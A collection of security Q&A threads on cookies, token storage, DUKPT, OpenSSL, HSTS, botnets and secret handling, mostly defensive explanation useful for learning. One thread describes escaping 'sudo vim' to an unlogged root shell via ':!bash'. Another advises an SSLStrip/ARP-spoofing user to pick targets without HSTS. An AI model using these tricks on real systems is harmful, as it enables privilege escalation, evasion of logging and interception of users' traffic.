What is the "validity scope" of a browser cookie? Consider the standard CSRF protection of a Ruby on Rails application: a CSRF token is embedded in the HTML page, while at the same time stored encrypted as part of the session cookie. When making a request, the embedded token is sent along the cookie, and the server can then check whether they match.

Suppose now to open the same application in two separate browser tabs. They will have different CSRF tokens and as such different session cookies. However, when I make post requests there are no CSRF issues.

This raises the question: what is the scope of a browser cookie? If the scope were global (i.e. valid across different browser tabs), then as soon as I opened the second tab the first session cookie would have been overwritten (as they come from the same origin and have the same key). But I can make POST requests from the first tab, and they do not fail, implying that each tab has its own set of cookies.

On the other hand, if I log in in one tab and open a second one, I obviously have an application session in the second tab too, implying that cookies are shared across browser tabs.

So then, what is the true "scope" of a browser cookie?

... two separate browser tabs. They will have different CSRF tokens and as such different session cookies.

They don't.
The same cookie is used whenever you access the same site within the same browser, i.e. the scope of the cookie is not the current tab but the current browser.

That's why it is usually also impossible to login into the same site with the same browser at the same time. There are browser extensions to limit the scope of the cookie to the current tab in order to make multi-login possible but by default the scope is the current browser.

To be more precise: if you switch to a different browser you have a different context for cookies. If you switch to a different browser profile you get also a different context. Same when switching to private mode. But if you switch only to a different tab or window then you have the same context.

Note that a cookie might be additionally restricted by the path on the site using a path argument and might also include subdomains using the domain argument. See the section "Scope of cookies" at MDN:HTTP cookies for more details.


How to store a token of a restful API? It's a basic question, but I see in a lot of tutorials of authentication in restful webservices that some user goes to a website and register yourself with an ID and a password, after this registration the server sends a token, so that user can use in your application sending this token in every API request (in the header for example).

It makes me think about the security to store a token in database as the same of the client requests.

Is it better to store this token hashed or something?

Since you will be generating an API key for each user, you could do exactly like you suggest- which is essentially treating each token like you would a password. You could store the id, the salt, and the hash of the token in your database. Hashing is great as long as you never need to get the original key back.

Note that since this is something your system is generating, it isn't as important to hash it in the first place (unlike for a user generated password). But this depends on your threat model. If someone hacks your server, would you care if they had a list of everyone's API key? If yes, then hashing them is the way to go.


CVE-2020-0601 (CRYPT32.DLL exploit) standalone patch? Is there any standalone patch for  CVE-2020-0601 (CRYPT32.DLL exploit) besides installing Windows 10 latest cumulative update?

Or is there  other ways to mitigate this exploit, when immediate patching with CU isn't possible?

Yes, there are specific patches that can be downloaded for each Windows version that is affected by the CVE.

I've provided a more detailed answer on this related question, about how to find and download the correct patch for your Windows release version.


MITRE's UEFI 'Extreme Privilege Escalation' and HP's SureStart This is MITRE's powerpoint presentation version of their report:
http://www.mitre.org/sites/default/files/publications/14-2221-extreme-escalation-presentation.pdf

Page 54 is a straight pull from HP materials describing HP SureStart. However, there is no indication if HP SureStart successfully prevents the described attack.

Does anyone know if they included this mention of it to either:

A. Praise HP for producing a solution to the vulnerabilities they found OR

B. Show that even mitigations designed specifically for this type of attack were ineffective

Was MITRE saying that HP SureStart was effective, or ineffective. Or were they trying to say something else altogether, by including HP marketing materials without annotation?

By contacting one of the authors I was able to get a response:

HP was allowed to get on stage during the presentation to discuss their vulnerability response, in the interest of the neutral stance MITRE holds. The authors have not evaluated HP's SureStart and their opinion can be summarized as: "we'll believe it when we evaluate it".


Can the new WannaCry affect Linux ext4 file system data from Windows? So every now and then I switch over to my Windows 10 OS from my Linux partition. Whilst I am there, I am fully aware that I can be infected with WannaCry which will encrypt all the files on the system. But will it affect my Linux partitions? If it only affects the Windows partition then I will have nothing to worry about as I barely have anything on Windows, but if it affects the Linux partitions (which from what I know, you can't really access from Windows) then I will have to do something about it! Anyway would it affect my Linux ext4 filesystem from Windows?

There are different variants circulating but some can. Once infected it damages/modifies the master boot record prior to windows even being loaded, then yes it can. Once it does, then it attempts to encrypt the full disk.


What is the DUKPT Key Derivation Function? I'm tasked with decrypting ciphertext acquired from an encrypted card reader. The card reader utilizes DUKPT(derived unique key per transaction) scheme and 3DES encryption. I don't have a problem with the 3DES encryption as it is a common algorithm implemented by well known libraries like BouncyCastle and Java JCE.

Prior to this assignment, I have had no encounters with DUKPT at all so I am a complete newbie to this.

From what I have read so far, DUKPT utilizes a key derivation mechanism based on a Base Derivation Key(BDK) which is basically a shared secret key and Key Serial Numbers for the particular transaction. In the case of the card reader, each time I swipe(even with the same card), the cipher text would be different and the KSN would be different. Knowing the BDK, the KSN, the encryption algorithm(which in this case is 3DES) and the cipher text, how do I go about deriving the Key for the transaction based on this information? I would imagine there is some sort of key derivation function right?

It basically works like this: the server has a master key (the BDK) and each client device has a unique serial number and a counter (which when combined are the KSN).

To set up a new device you encrypt the KSN using the master key (the BDK, the process described in the link in Yoav's answer) and you get a new key (the IPEK). It's kind of like where you need two people (the server and the client) with two keys (the BDK and the KSN) to open a vault that contains another key. That other key is the IPEK and is what you install on the device itself.

The client device uses the IPEK to come up with a table of Future Keys and then discards the IPEK. So the client device now has it's original serial number, a counter (combined are the KSN) and a list of Future Keys.

To encrypt the data, the client device grabs the first Future Key from the list and uses that as the encryption key. It then sends the encrypted data and it's KSN (which contains the  counter) to the server.

On the server end, the server knows it's own secret (the BDK) and now has the clent device's KSN. The server uses those two keys to produce the IPEK (open that vault again). With the IPEK the server can recreate the table of Future Keys and knowing the counter provided by the client (the last 5 characters of the KSN) it knows which key from the table to use.

As for all the technical details I would suggest looking around Andy Orrock's blog (linked to in Yoav's answer) and maybe getting a copy of ANSI X9.24 which has the full spec.


OpenSSL RAND_poll 'good enough' We are using OpenSSL for generating IV's and other random data. We initialize it using RAND_poll and, on Windows, RAND_screen.

The question is though, if the seed generated by those methods is good enough (RAND_screen at least sounds to me like it is). Also, I was wondering how exactly RAND_poll works, as I could not find much documentation about it ant if it does behave differently depending on platform, like RAND_screen which is only available on Windows.

RAND_bytes() automatically calls RAND_poll() if it has not already been done at least once. So you do not have to call it yourself. RAND_poll() feeds on what the operating system provides: on Linux, Solaris, FreeBSD and similar Unix-like systems, it will use /dev/urandom (or /dev/random if there is no /dev/urandom) to obtain a cryptographically secure initial seed; on Windows, it will call CryptGenRandom() for the same effect.

RAND_screen() is provided by OpenSSL only for backward compatibility with (much) older code which may call it (that was before OpenSSL used proper OS-based seed initialization).

So the "normal" way of dealing with RAND_poll() and RAND_screen() is to call neither. Just use RAND_bytes() and be happy.


How can I secure my account where only numbers are allowed as password? The website of China Southern Airline FFP only accepts 6 to 10 number digits as its password and no letters are accepted. Furthermore, it is still running on plain HTTP but not HTTPS!

How can I prevent my FFP account being hacked on such website?

Given the fact that site is not using best practices for both passwords and SSL, it's safe to say there's probably other areas they haven't secured. In a perfect world I would say dont use that site but I'm assuming you need to.

Personally I would look to email their support and check whether there are any other more secure ways of doing what you need to do, but if you absolutely have no choice but to use the site then use a password generator such as this to create the strongest password you can and try to limit what information you put onto the site where possible.


How secure are the default, randomized passwords that ISP routers come with? Did a little searching an could not find an answer to this. A lot of ISPs these days are providing combination router/modem units, and they come with a pre-configured password that is a random string of letters and numbers, such as 1kd94nc9. Are these passwords reasonably secure, or should the end user change it to their own custom password (ignoring the fact that these can be hard for someone to remember)?

They're often not as random as they might appear. The forums posts listed here show many examples of researchers reverse-engineering the algorithms used to generate default router passwords - sometimes, even by disassembling the firmware.

Many manufacturers assume that no one will go to such trouble. These manufacturers often rely on obscurity, using algorithms that are only pseudo-random, and/or derived from the MAC address or other non-random information.

This varies by manufacturer and model, of course - but since it's often very hard to tell, you're almost always better off changing to something that you know is random, and of sufficient length to be beyond run-of-the-mill bruteforce capabilities - say, 15 characters random mixed-case alphanumeric+specials (or often better, the equivalent entropy in a randomly-generated passphrase that's easy to type).


SSLStrip still HTTPS I did all the configuration right. IPtables, port forwarding, ARPspoof, everything.
However, in the browser websites like Facebook and Twitter are still HTTPS.
What am I doing wrong?

Pick a softer target.

Facebook is on the Chromium HSTS preload list

Twitter is on the Chromium HSTS preload list

Update 1
So:
Pick a target that doesn't use HSTS and/or pick a browser that doesn't care about HSTS.


Safest & Secure Way To Store People's Login Information? I am looking to create an application that aggregates data from people's online accounts.

The application (Frontend made with HTML/CSS/PHP and Backend made with Python) will log into people's accounts on various websites and grab data then send them push notifications on their device.

For websites that have an API, I will be using that, so no problem. However, a lot of these websites do not have an API.

So therefore I am going to need to store their login information somewhere, so that the script can go and login and grab the data.

This obviously, raises red flags for me. I don't want to risk people's data. What if I get hacked? I can't risk storing this information in plain text in a database somewhere.

I'm struggling to understand the best way to tackle this problem. I've looked at a few other answers to similar questions on here but I'm not sure they apply to my situation (or i'm just being stupid).

The best way I can think of doing this so far, which is not 100% foolproof but better than nothing, is to encrypt all the login information using a very secure password, and require that to be entered when the backend script is run.

Is that all I can do?

IMHO, there are two different problems here.

The former one is technical and resumes to how can I securely store secret information. If it must be used by an application, the best you can do is to encrypt the information. But whatever you do, the application will have to access the plain text information, so if its is hacked, the attacker will have it. At least the information is protected at rest. If the application has to run in unattended mode, things are even worse because the decryption key has to be available on the machine itself. The safer way would be to use a HSM to protect the master key, but anyway the HSM must be accessible from the machine, so if an attacker manages to control it, they will be able to use the HSM to get the master key. At least you will be able to say that you followed a best effort strategy.

The latter is more fundamental: if a user gives you their credentials on a third party site, you (and any staff member with admin priviledge on the machine hosting the application!) will be able to impersonate that user, without the third party site beeing able to differentiate the accesses. IAMNAL, but I suspect that this could lead to interesting legal problems if the account is used for weird operations... Be sure to get a lawyer's advice on the contract you will have with your users.


"Public facing" dropbox folder uploads to admins machine. Potential security issues? We've got a client who uses Wufoo for their website's forms. One of their forms contains a file upload feature, this is set in Wufoo to place the uploaded file into a Dropbox folder. This Dropbox folder is syncs to a office clerks computer, so any uploaded file ends up on the office clerks computer.

All computers in computers that are shared with this Dropbox folder are Macs.

There is obviously an issue where someone can now place a file on the computer, but is this more dangerous than someone knowing your email address as anyone can send you a email with an attachment.

Is there any potential security issue where some one could upload a malicious file that would then execute ? Or any other potential issues ?

If so is there anyway i could tighten this without losing functionality ?

Yes, that is very dangerous. Because the attacker is able to place a file directly on the disk simply viewing directory contents can infect the machine. For example:

I assume that computer syncing with dropbox is running Windows. Windows shows preview Images for all files (e.g. Word documents, text files, images, ...). Those are generated based on the contents of the file. Any file can exploit a vulnerability in such a thumbnail-generator when the user opens the directory in windows explorer.

In addition to that, all security risks that apply to email attachments also apply to this scenario (malicious Word macros, etc..)


Using 'sudo vim' to spawn a shell I've recently read here an answer from a user about the way he hacked a server in a CTF contest. At some point in the description, he said that he did sudo vim and then spawned a shell via VIM using the password he captured before (i'm supposing he did :!bash in vim).

I'm a bit confused why he used this specific vector to spawn a shell... He could had simply executed a sudo bash.
Why using Vim to do this?

One possibility is that sudo was configured to only execute certain applications - you can find examples of this in the sudo manual.

If one of these was vim, but bash was not an option then the user could not run sudo -i or sudo bash but would be able to run sudo vim. However, once done, vim would have an effective uid/gid of 0/0 and quite happily let you run a root bash shell.

This means, as you would expect, that you can actually edit the sudoers file to remove that restriction.

Of course, another thing to note about this trick is the lack of logging. Sudo has run vim, and it will log that fact, but it will not log whatever processes vim chooses to spawn after that! So even if you're not restricted in running the shell, this is a way to disguise what you are doing.


POST over HTTPS "secure enough" for sensitive data? I'm wondering if to prevent the possibility of a compromised SSL certificate leading to the potential for sensitive information disclosure if it might be prudent to further encrypt data being passed over SSL.

Imaginary scenario: two web applications. One is a web application, the other is an application supplying an authentication API.

The web app sends an HTTPS POST to the authentication API containing username and password. It's encrypted via SSL.

However, couldn't that data be sniffed if an attacker was to compromise the SSL cert?

My thought is to add another level of encryption -- e.g. we have an additional public/private key pair and we encrypt all the information in the POST by that as well.

That would mean that an attacker who had compromised your SSL cert would need to find an additional private key in order to break the communication.

Thoughts?

Instead of extra encryption, if you must be secure, use two-factor authentication. Make user users enter a user name, a password, and a 6-digit random number sent by email or SMS. A compromised certificate means that the attacker can possibly control the entire SSL payload both directions; including any code you send to the client to perform the encryption required to authenticate with the server.

Also consider separating your application server and your authentication server. This makes it a lot harder for an attacker to do anything useful with an acquired list of usernames and passwords if they are not actually accepted by the application server; this is concept behind OAuth2. It is far easier to recover one server than it is to attack two servers (at least, in theory).


How do phone location services get their information? Location services - such as https://www.lociloci.com - allow you to track any phone as long as the person replies to a text to allow the tracking to be performed. How do these services receive the location information from the phone networks and are networks legally allowed to share this information with other companies?

As for the services receiving the location, (I would assume it works this way, since they assure no GPS is used) it is highly possible that these services acting as a receiver (instead of a normal phone), receive the information about which phone mast the message came from, which always reveals the area of which the "victim" is around, since to communicate via SMS/Calls, the phone connects to the nearest phone mast, revealing the area of the sender.


In-memory code signing Since a lots of malicious code are running in memory-only, wouldn't it be possible to sign each eXecutable codes (functions etc) of each PE files and check before each new started thread the code (in-memory) is indeed signed to continue ?

With this system, if one signed process want to inject some of his code into another process (via VirtualAllocEx, WriteProcessMemory etc) it will be fine.

What are the flaws of my reasoning ? Can this mechanism be used in practice (with some change in the PE structure or in the OS) ?

ed; I intentionally omit scripting languages and the "in-memory signed code" feature that I propose is to be used of course in addition with functionalities like Windows Guard/AppLocker

If an attacker has an arbitrary write vulnerability, they can bypass any form of software-implemented in-memory code signing. They could modify the memory after the code has been verified but before it is executed (a classic TOCTOU vulnerability), or simply toggle whatever bit is used to verify integrity. The only way this would work is if the check was implemented in hardware, with the actual code being verified by the CPU itself. However, it is much easier simply to use standard access controls to prevent memory injection. On Linux for example, this can be done with the Yama LSM. This is possible because memory injection is mediated by the kernel. The injecting process must specify the target and request permission to read from or write to its memory. The kernel can simply refuse the request, forcing the malicious process to escalate privileges quite a bit to modify memory.


OpenSSL encrypt DER format private key When converting a password-protected PEM/PKCS1-encoded private key to DER format one is not able to encrypt the key, OpenSSL automagically asks for the password and writes the plain-text key in the output file.
However, I understand that PKCS8-encoding does support encryption when converted to DER format, my problem is that I can't make OpenSSL write an encrypted file.  I have tried:
openssl pkey -inform PEM -in key_pkcs8_encrypted.pem -outform DER -out key_pkcs8_encrypted.der
...but OpenSSL asks for the password and writes a decrypted file (verified by diffing it with the DER version of the decrypted PEM key).
I have also tried:
openssl rsa -des3 -in key_pkcs8_unencrypted.pem -outform DER -out key_pkcs8_encrypted.der
...in the hope that OpenSSL would ask for a password and encrypt the output file, as it does in the -outform PEM case but it does not, it just writes an unencrypted file.
And finally I have tried:
openssl rsa -des3 -in key_pkcs8_unencrypted.pem -passout pass:mypassword -outform DER -out key_pkcs8_encrypted.der
...but that also writes an unencrypted file.
Am I correct that PEM/PKCS8 when converted to DER does support encryption and, if so, does anyone know how I might persuade OpenSSL to do it for me?
Edit: I am aware of this post but it doesn't address the part about how OpenSSL can be asked to generate a password-protected DER file.

As @dave_thompson_085 above points out, there is only one way to do this with OpenSSL which is:
openssl pkcs8 -topk8 -in key_pkcs1_encrypted.pem -outform DER -out key_pkcs8_encrypted.der
As he says, beware that OpenSSL gets a bit "kludgy" where support for encrypted PKCS8 is concerned (specifically pkey cannot read PKCS8-encrypted format input files).


Deference Between EAL 1-7 in Common Criteria Standard? I have a question about ISO/IEC 15408 standard: I want know if the level of evaluation is higher we can conclude that a product is safer? i.e, if we have two products, is the one which has a higher EAL by definition safer?

The EAL levels are:

EAL1 - functionally tested
EAL2 - structurally tested
EAL3 - methodically tested and checked
EAL4 - methodically designed, tested, and reviewed
EAL5 - semi-formally designed and tested
EAL6 - semi-formally verified design and tested
EAL7 - formally verified design and tested

You can see these are increasingly rigorous, from functionally tested to formal verification. The security or safety of something isn't an absolute value, it is subjective and contextual, i.e. it depends to a great degree on what you are testing, and what you are using it for.

A "+" suffix is used commonly to indicate an augmented EAL: this includes one or more assurances in addition to the indicated base level. e.g. EAL 4+ for an OS is often seen, the additional assurances usually include Flaw Remediation components (ALC_FLR, documented and formal security flaw reporting and management procedures).

A key part of an EAL is the Security Target document, put simply this comprises a rigorous definition of functions, features and intended use, tailored for the specific hardware or software component under test (the TOE, Target of Evaluation).
The EAL rating determines the extent of the testing, and the confidence that security is as claimed. You cannot simply compare EALs numerically, the number can only be properly understood in the context of the Security Target; and most importantly, that can only be understood in the context of your security requirements.

Colloquially, EAL indicates the degree to which something does what it says on the tin, you have to make sure you have the right tin ;-)


Linux command to wipe files on an SD Card? Are there any commands, tools or python libraries to securely wipe specific files from an SD or micro SD card (devices that use flash memory)?

For example, with a regular magnetic hard drive, you can use the Wipe command to securely delete files.

I am having difficulty finding such tools.

Flash storage is inherently different from spinning disk storage at a physical, and operational level.  Unlike spinning disks, flash storage has a limited amount of write cycles.  The solution to increasing the lifespan of the media to something usable that storage makers have come up with is called wear leveling.  Essentially what this means is that when you write to a logical block on the disk twice, you're in all likelihood writing to two different physical blocks in the storage media.

The answers that claim that simply re-writing to the blocks is sufficient don't take this into account.  You asked specifically about SD Cards, which according to this answer is sometimes implemented in SD cards, and other times not.  So it's not so easy to give you a straight answer.

In addition, before physical block can be re-written to, it has to be erased first.  This takes some extra time, and reduces performance. To make matters worse, the flash device has no idea which blocks are in use, and which aren't unless it's told  This is what the trim command is used for.  In a nutshell it tells the underlying media which blocks it can free up, so that the storage media can then perform the erase operation in the background during idle time.  The trim command is specific to the ATA/SCSI bus, and again, you asked about SD cards.  I don't know if there's an equivalent command for the SD card market, but it's something you should keep in mind.

The end result is that erasing in Flash storage isn't as simple as erasing a spinning HDD.  The fact that you can't be assured you're writing to the same physical sector complicates matters greatly.  The best you can hope for for erasing a file on an SD card is to write to every single sector on the drive.

Even this isn't perfect.  Some manufacturers have spare sectors available when one sector wears out the logical block gets mapped to a new sector. So it's possible that even over-writing all logical sectors won't over-write all physical sectors.  (BTW, the same is true for spinning disks).


Why is Mozilla recommending predefined DHE groups? In a revision dated 2016-10-31, Mozilla changed their Server Side TLS recommendation from generating a random DH group to the ones published in RFC 7919. Mozilla claims:

  These groups are audited and may be more resistant to attacks than ones randomly generated.

Isn't using a published DH group something Logjam advised against?

I think the reason for using predefined groups is clearly answered at the page your reference:

  Instead of using pre-configured DH groups, or generating their own with "openssl dhparam", operators should use the pre-defined DH groups ffdhe2048, ffdhe3072 or ffdhe4096 recommended by the IETF in RFC 7919.  These groups are audited and may be more resistant to attacks than ones randomly generated.

I connection with the Logjam attack it was advised to not use pre-defined DH groups with 1024 bit or lower since this key size is considered in reach of today's attackers and it might be worth the effort for heavily used keys. But larger key sizes are not considered in reach of the attackers yet.


What information does a private DNS prevent my ISP from seeing? Forgive me for the simple question, I have very little knowledge about networks.

The new DNS service from Cloudflare claims to offer a "more private" connection but I don't understand if/how it can prevent my ISP from seeing what websites I visit.

As far as I understand, if I use this service my ISP will not have access to the address I type in my browser, but it will know the IP this address is resolved to, is this correct? Is the extra privacy coming only from the fact that my ISP would know the machine I'm connecting to but (if the connection to the machine is encrypted) not the actual pages I'm visiting within that server?

Also, and possibly unrelated, if I am on an HTTPS site while using my ISP's DNS servers, and I click on a link pointing to a page within the same site, does that constitute a new DNS lookup in which my ISP could see the exact link address? Does the site encryption help in any way here?

I don't understand if/how it can prevent my ISP from seeing what websites I visit.

It doesn't. Cloudflare's promise is that they don't keep records of your DNS queries. Your ISP can still log them by inspecting your traffic.

  if I use this service my ISP will not have access to the address I type in my browser, but it will know the IP this address is resolved to, is this correct?

Your ISP will have access to the domain you're visiting because your DNS query is unencrypted by default and HTTPS may leak the hostname due to Server Name Indication. Even without that, they may narrow down possible hostnames by looking at the IP you're connecting to.

  if I am on an HTTPS site while using my ISP's DNS servers, and I click on a link pointing to a page within the same site, does that constitute a new DNS lookup in which my ISP could see the exact link address?

Your system caches DNS, so navigating within the same domain usually doesn't trigger a new DNS query. Also, the exact URL isn't directly leaked when using HTTPS, you're only revealing the domain.

That said, there are protocols for encrypting DNS traffic such as DNSCrypt, DNS over HTTPS and DNS over TLS (which by now has been standardized). However, just encrypting DNS won't prevent leaking the hostname through other channels, such as SNI.


How do botnets self-propogate exactly? I am learning about malware and botnets and came across that botnets can "self-propogate" and I am confused as to how they can do this. I know that a botnet can be created through multiple people downloading a malicious software or clicking on a malicious link/email attachment but how can an infected computer infect another computer without something like sharing the file unsuspectingly?

Can it only be through something like an e-mail server or can a bot with a malware payload just try to force connections through open ports to other computers it is connected by through the internet as initiated by the bot master? Can the bot master force a file through for example if the infected computer is connected to a p2p network?

How would it compare with infecting other devices on your home network vs devices across the internet?

Who is the target for bot nets?

A lot of botnets use consumer devices that are insecure by default, or are shipped with vulnerable software.

Imagine you buy the ACME HomeLink™ wireless router, which comes with a neat administrative console for customer comfort. If you have a problem, all that customer service has to do is connect to your router on port 32123 and use the password shibb0l33t and they will be able to fix your problem remotely.

Of course, this is highly insecure, so a botnet could just scan certain parts of the web for an open port 32123 and attempt to log in with the publicly known password. They can then remotely flash your router with a custom firmware, which makes it also part of the botnet.

I'm using a router here as an example, because it's a delicious target for bot nets. They are by nature externally accessible and always online. This makes them very lucrative. Of course, other devices can become part of bot nets, such as IoT devices, unpatched servers, etc.

Doesn't this all require user interaction?

The way you framed your question seems to suggest that networking primarily serves the purpose of user interaction. This is false. In fact, the overwhelming majority of network traffic is automated and happens without any user interaction at all. An example of this are software updates, which happen completely without the user's interaction at all.

Furthermore, you suggest that botnets are primarily created by using malicious downloads or links. This is not the case, as personal computers aren't really that good as a "bot". As I mentioned before, the ideal bot is easily accessible and always online. A personal computer is usually not online all the time. Most people use their computer only for a few hours per day, and then turn it off when they do something else or go to sleep.

Personal computers, of course, can be abused otherwise by malicious actors. Other categories of malware are more prominent on our personal computers than on routers for the following reasons:

Computers usually have more personal and thus valuable data on them, whereas routers rarely have any personal data at all. As such, Ransomware targets this by encrypting such valuable files and exploiting our desire to keep them. If a router stops working, I could just buy a new one.
Computers are usually much more powerful than routers, and as such makes crypto miners more efficient on a PC than on a router. Even though the uptime is limited, the extreme difference in computational power of a laptop compared to a home router makes the computer more desirable of a target.
Computers are used to connect to valuable services such as online banking, PayPal, etc. This allows malware to get access to passwords used with these services, or to interact with them directly (e.g. send money from PayPal to an account used by the attacker).

What can a bot do once it gains control?

That heavily depends on the software. Some botnets communicate via P2P systems, meaning that any bot could forward an instruction to any other bot. That means an infected bot does not necessarily need to directly link to the "master" server. It's enough if the master tells one bot what to do, and this bot then propagates the information.

Other bot nets are designed to communicate to a "Command and Control" server, which simply tells the bots what to do.

The actions of the bots vary from botnet to botnet. Some are used to send spam emails, others are used to DDoS a web server, others are used to mine Bitcoin. Basically, if you asked yourself what you'd do if you had control over 100000 machines anonymously, I'm sure you could think of some more examples.

What about home devices?

Botnets are usually rather limited in the kind of devices they can infect. In fact, the operator of a bot net does not care in the slightest about attacking you or every device you own. If they can get enough bots by just exploiting the insecure configuration of the ACME HomeLink™ routers, then that's all they will do. Sure, the bot may attempt to connect to port 32123 on all your devices, but since they don't offer the same functionality, it won't work. Even if your home devices were vulnerable in some way, the botnet would not infect them if they were not previously designed to do so.


When running shell scripts, is it safer to pass sensitive information using stdin or as a string option? I'm building a number of automated scripts that will run within an encrypted environment (full disk encryption).

Many commands in both Windows and *nix have two ways of entering sensitive information such as passwords. In one mode, the program prompts the user for the password, and in the other, the password is specified using an option argument.

When writing a shell script, the command can be automated using either of these processes. In the first case, the command is executed, then standard in (stdin) is redirected and the password is piped into the program when prompted. In the second case, the password is specified as an argument to the program.

Is one of these inherently more risky than the other? Are there any trade-offs to be aware of? In either case, I'm asking specifically about the method of supplying the password, not the riskiness or vulnerability associated with storing the password on disk.

Here is an example in Python, using the CLI versio of VeraCrypt:

Redirecting stdin:

cmd = ['veracrypt', "--text", partition, mount_point]
input_file = open_file()
vc_call = subprocess.run(cmd, stdin=input_file)
vc_call.wait()

Passing the password as an argument:

password = get_password_from_file():
cmd = ['veracrypt', "--text", "--non-interactive", "--password", password, partition, mount_point]
vc_call = subprocess.run(cmd)

note:

I'm not sure if it matters, but on *nix, commands can be executed directly as system calls. In the above code, neither of the calls to subprocess.run() were given a shell=True option, which would cause the command to be executed within the default shell. My understanding is that on Windows, all commands must be run through the cmd shell. This could make a difference between the the two options, but I'm not sure how.

Passing it via stdin is more secure, since arguments are visible in the process tree.

Passing a secret value as an argument is typically more risky. Whenever something is passed as an argument, all other processes running under the same user (and sometimes all other users' processes, period) will be able to view the arguments for each process. This is why you can see arguments by running ps aux. Passing a value via stdin, on the other hand, sends it through a file descriptor. This descriptor will not be readable by unprivileged processes. If your threat model involves other malicious, local processes, you should send the sensitive material through stdin.

Passing data through stdin involves passing it through a file descriptor which the program can read using standard IO calls. In this case, it will be just as secure as opening a file to read from it. Command line arguments, on the other hand, are kept in a process' argv in memory. A program simply has to access that address of memory to view the arguments. This data is, however, visible to other users via that process' /proc/<pid>/cmdline. This is actually also the case for environmental variables on some systems (especially older *nix systems), so passing secrets through the environment is not necessarily a good idea either.


What is secure enough for web applications? we intend to build a network in a small health center with No Internet Access

it is expected to have 30 terminal machines, all machines will use an electronic medical record web application

we want to "hide" the application behind firewall

Updated to take into account the zero Internet Access:

As you have mentioned, the switch can be configured to route the ISA server to segregate the application from the users. It looks from your model you are expecting the ISA to run a public and private VLAN through its connection to the switch.

More typically having a dual homed firewall is considered more secure, as traffic on each network is physically separated by the firewall. But basically the app server will connect to the ISA on a network port for the 'protected' side, and a network port on the 'user' side of the ISA will connect to the switch.

You can obviously use access control lists in the switch to provide further controls, however this may be all you need in terms of infrastructure.

One risk to look at is how likely a PC is to be attacked in your environment. Are they left unattended? And unlocked? Your infrastructure may then not be sufficient.

edited to say - if medical/personal data is on the server, and you are in a country with strong regulations in this area you may need to use stronger controls.


OWASP ZAP does not properly proxy my HTTP responses? I tried using the web proxy functionality of OWASP Zed Attack Proxy (ZAP) to edit the response JavaScript and HTML. I tried to make a button get the attribute disable="false" instead of disable="". I can easily use the Firebug console to achieve this.

However, I want to use ZAP instead, and I set a breakpoint at the response, edited the HTML and JavaScript that I want. When I press submit, the changes made have no effect. Am I missing some JavaScript that again disables the button after the page is loaded, or is ZAP not working this way at all? Anyone with experience in using ZAP that knows if similar stuff works for them?

I did a simple test. I edited the response body to be empty. This gave no result so I guess ZAP lacks the functionality I'm looking for here? The fault was then not due to some background JavaScript.

About the comment. I do not have a reputation high enough to post an answer to my own question. If someone know how to use ZAP for editing http responses I would be glad to hear it. It seams to me like its not working but ZAP gives the user the impression that it should be working. Please confirm my suspicion(that this functionality do not exist) or answer how to do it.

The

ZAP definitely supports this functionality :)

If you just want to enable disabled buttons then you can click on the 'Show / enable fields' button (the lightbulb one) on the toolbar (which will 'light up') and then reload the page in your browser.

If you want to edit the response then the easiest option is to click on the 'Set break on all responses' button (left green arrow) on the toolbar (which will become red) and refresh the page.
The page will then be held in the 'Break' tab.
You can then make any changes you want before sending them on to your browser using the 'Submit and continue..' or 'Submit and step..' buttons.
Note that ZAP will continue intercepting responses until you turn the relevant button off.

Note that we do have a ZAP User Group which is linked off the 'Online' menu - you may well get faster and more knowledgeable answers on that ;)

Simon (ZAP Project Lead)


Could a large amount of wget requests be viewed as an attack? I'm working on a program that downloads and analyzes historical stock data from Yahoo Finance. I download the data in my program by using the wget command. I have a list of about 3,000 stock symbols and the .csv files for each one are downloaded twice (for weekly and monthly data). Could Yahoo flag my large amount of wget requests as an attack? Maybe as a dos attack of some sort?

The answer is subjective but wget simply makes HTTP GET requests, just as is done with a browser.

At worst one might claim a denial of service (DOS) attack but if only a single thread, most would classify as either normal use or perhaps aggressive crawling.


Is it safe to use VPNbook or similar sites? Sometimes I need to use Internet from cybercafes or restaurants.
I'm concerned about the security when accessing critical sites such as my bank, Paypal or just my Facebook.

Besides the typical security measures (such as antivirus) I'm considering to use a VPN connection to avoid man-in-the-middle attacks and honeypots.

Among all the free VPN services I've decided to try VPNbook.

Is it safe to use VPNbook or similar sites?
Or they can sell my data or even hack my bank account?
Only paid services are safe?. or not even them?

Do you have any other advise to avoid this problems?

Regards

VPN is for "privacy", they are never secure, and never will be.

You cannot control what the VPN provider does with the data that passes through it.
This week I read about a case where a VPN claiming to never log IP addresses or private information, was sniffing one of it's own servers to stalk some hacker.

I have also read about an experimental "infected" VPN server, that all it did was alter Javascript files before they were returned to the user, adding some dangerous code in that was later executed by the user's browser, and cached inside his computer. They were able to fetch ALL the user's passwords, history, and whereabouts. If I'm not mistaken, it was shown at a Hacker Conference.

So basically, anything you can see, the VPN you are using can see it too, and you should never fully trust anything with your private data.


Do symmetric cryptographic primitives provide both integrity and confidentiality? I understand that symmetric cryptographic algorithms provide confidentiality through the use of a key to encrypt plain text to cipher text but how can they provide for integrity as well?

Would it not be easy for an attacker to tamper with the bits in a message and give the receiver an incorrect (not necessarily coherent) message if they were able to intercept the encrypted cipher text? Especially considering that symmetric ciphers do not work well with authentication.

If this is indeed not the case and symmetric crypto can provide data integrity can you share with me examples of algorithms that implement this?

AES is an example of a symmetric algorithm. It maps a block of fixed size from one to another block of the same size, also using a fixed key size for both encryption and decryption. To support encryption (or decryption) of multiple blocks, a single operation of the block cipher is used in a mode.

Ciphers like AES in CBC mode indeed do not provide integrity, that is why they are typically used with another MAC construction to achieve integrity and authenticity (for example, HMAC-SHA256). This calculation can be done on either the plaintext (MAC-then-Encrypt/MAC-and-encrypt) or on the ciphertext (Encrypt-then-MAC). (For a comparison between these, see
Should we MAC-then-encrypt or encrypt-then-MAC?)

Such an external construction is not required though with authenticated encryption, in which the cipher mode provides the integrity and authenticity properties. See AEAD: https://tools.ietf.org/html/rfc5116

AES in GCM mode calculates an authentication tag in addition to block encryption/decryption. This tag is appended to the ciphertext and allows for an integrity check which is also dependent on the key. If an attacker changes a single bit of the ciphertext or authentication tag, it can be detected.


What can't a packet sniffer troubleshoot This might seem like a really vague question however I am studying a networking course.

One of the many aspects requires the use of a packet sniffer software - in this case I chose Wireshark, which I have used before when trying to find what ports that need to be opened...

One of the questions posed is "What networking troubleshooting tasks will a packet sniffer NOT help with?"

I have basic networking knowledge so if someone with more experience can help me understand this?

Please don't shoot me down, I understand what a packet sniffer can do, which leads to me to seeking help into what can't it do.

Maybe a Network administrator has come across this scenario before?

They greatly help with figuring out WHAT is happening at the network level, but they rely on your intelligence for figure out WHY it is happening.

